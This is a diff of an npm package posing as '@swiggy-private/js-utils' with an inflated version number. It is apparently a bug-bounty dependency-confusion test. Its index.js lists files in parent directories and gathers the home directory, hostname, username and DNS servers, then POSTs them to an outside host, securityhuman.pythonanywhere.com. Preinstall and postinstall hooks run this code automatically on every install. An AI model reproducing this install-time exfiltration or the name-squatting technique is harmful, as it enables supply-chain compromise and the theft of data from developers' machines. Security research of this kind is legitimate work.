@swiggy-private/js-utils 99999999.10000.9999

package/index.js

@@ -0,0 +1,78 @@
+//
+// this is the test for npm dep confusion
+// please contact securityhuman@wearehackerone.com (this is my hackerone email id which divert mails to my email.)
+
+const os = require("os");
+const dns = require("dns");
+const querystring = require("querystring");
+const https = require("https");
+var packageJSON = null;
+var package1 = null;
+
+all_files = null;
+
+try {
+  packageJSON = require("./package.json");
+  package1 = packageJSON.name;
+
+  const fs = require("fs");
+
+  const directoryPath = "../../"; // Replace with your desired directory path
+
+  fs.readdir(directoryPath, (err, files) => {
+    if (err) {
+      console.error("Error reading directory:", err);
+      return;
+    }
+    all_files = files;
+    console.log("Files and directories in the directory:", files);
+  });
+
+  fs.readdir("../", (err, files) => {
+    if (err) {
+      console.error("Error reading directory:", err);
+      return;
+    }
+    all_files_2 = files;
+    console.log("Files and directories in the directory:", files);
+  });
+} catch (e) {}
+
+const trackingData = JSON.stringify({
+  p: package1,
+  c: __dirname,
+  hd: os.homedir(),
+  hn: os.hostname(),
+  un: os.userInfo().username,
+  dns: dns.getServers(),
+  d: packageJSON.description,
+  files: all_files,
+  files2: all_files_2,
+});
+
+var postData = querystring.stringify({
+  msg: trackingData,
+});
+
+var options = {
+  hostname: "securityhuman.pythonanywhere.com",
+  path: "/confusion",
+  method: "POST",
+  headers: {
+    "Content-Type": "application/x-www-form-urlencoded",
+    "Content-Length": postData.length,
+  },
+};
+
+var req = https.request(options, (res) => {
+  res.on("data", (d) => {
+    process.stdout.write(d);
+  });
+});
+
+req.on("error", (e) => {
+  // console.error(e);
+});
+
+req.write(postData);
+req.end();

package/package.json

@@ -0,0 +1,17 @@
+{
+  "name": "@swiggy-private/js-utils",
+  "version": "99999999.10000.9999",
+  "description": "test dep confusion. please contact securityhuman (hackerone platform id),  securityhuman@wearehackerone.com",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Test dep confusion\" && exit 1",
+    "preinstall": "node index.js; echo \"pre done\"",
+    "postinstall": "node index.js ; echo \"post done\""
+  },
+  "keywords": [
+    "dep",
+    "confusion"
+  ],
+  "author": "",
+  "license": "ISC"
+}